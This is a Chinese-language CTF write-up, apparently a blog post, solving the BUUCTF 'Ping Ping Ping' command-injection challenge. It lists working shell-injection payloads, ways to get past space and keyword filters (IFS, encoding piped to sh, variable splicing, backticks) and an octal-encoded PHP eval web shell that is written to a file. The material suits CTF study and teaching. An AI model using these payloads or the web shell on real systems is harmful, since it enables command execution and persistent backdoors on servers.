BUUCTF | [GXYCTF2019]Ping Ping Ping

知识点:

命令执行变量拼接

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

拼接绕过↓

1 #执行ls命令:
2 a=l;b=s;$a$b
3 #cat flag文件内容:
4 a=c;b=at;c=f;d=lag;$a$b ${c}${d}
5 #cat test文件内容
6 a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test

过滤bash用sh执行

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
编码绕过↓
 1 #base64
 2 echo "Y2F0IC9mbGFn"|base64 -d|bash ==>cat /flag
 3 echo Y2F0IC9mbGFn|base64 -d|sh==>cat /flag
 4 #hex
 5 echo "0x636174202f666c6167" | xxd -r -p|bash ==>cat /flag
 6 #oct/字节
 7 $(printf "\154\163") ==>ls
 8 $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
 9 {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
10 #i也可以通过这种方式写马
11 内容为<?php @eval($_POST['c']);?>
12 ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

内联执行

内联执行将反引号内命令的输出作为输入执行,类似的还有$(command)

?ip=127.0.0.1;cat$IFS$9`ls`

解题思路:

打开题目命令执行的方法大抵是加上管道符或者分号,那么试试管道符

——> /?ip=127.0.0.1|ls

我们看到flag.php与index.php两个php文件。我们试着读flag.php

看到提示空格被ban(禁用)绕过空格的方法大概有以下几种:

方法1:${IFS}

payload1:

 

1 root@kali:~# cat flag
2 this is your flag
3 root@kali:~# cat${IFS}flag
4 this is your flag

 

payload2:

1 root@kali:~# cat${IFS}$1flag
2 this is your flag

payload3:

1 root@kali:~# cat$IFS$1flag //$1改成$加其他数字貌似都行
2 this is your flag

方法2:重定向符<>

payload1:

1 root@kali:~# cat<>flag
2 this is your flag

payload2:

1 root@kali:~# cat<flag
2 this is your flag

方法3:%09(需要php环境) 与 %20

payload1:

 

1 127.0.0.1/lixing.php?x=cat%09/root/flag

payload2:

 

127.0.0.1/lixing?x=cat%20/root/flag

 

接下来输入——> ?/ip=127.0.0.1|cat${IFS}$1flag发现{被禁用了

尝试空格用$IFS$1代替输入——> ?/ip=127.0.0.1|cat$IFS$1flag发现flag被禁用了

尝试先来试着读取一下index.php发现过滤了许多标点,空格,bash,包括flag的贪婪匹配。

那么自己印象中几种做法:

1.cat fl* 利用*匹配任意 不行

2.echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行

3.ca\t fl\ag.php 不行

4.cat fl''ag.php 不行

解决办法:

变量拼接↓

我们看到源码中有一个$a变量可以覆盖

——> /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

 

结尾:
过滤bash?那就用sh。sh的大部分脚本都可以在bash下运行。

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

内联执行的做法:

?ip=127.0.0.1;cat$IFS$9`ls`

内联,就是将反引号内命令的输出作为输入执行
参考链接:

posted @ 2020-07-02 12:07  SpouseLJ  阅读(652)  评论(0编辑  收藏  举报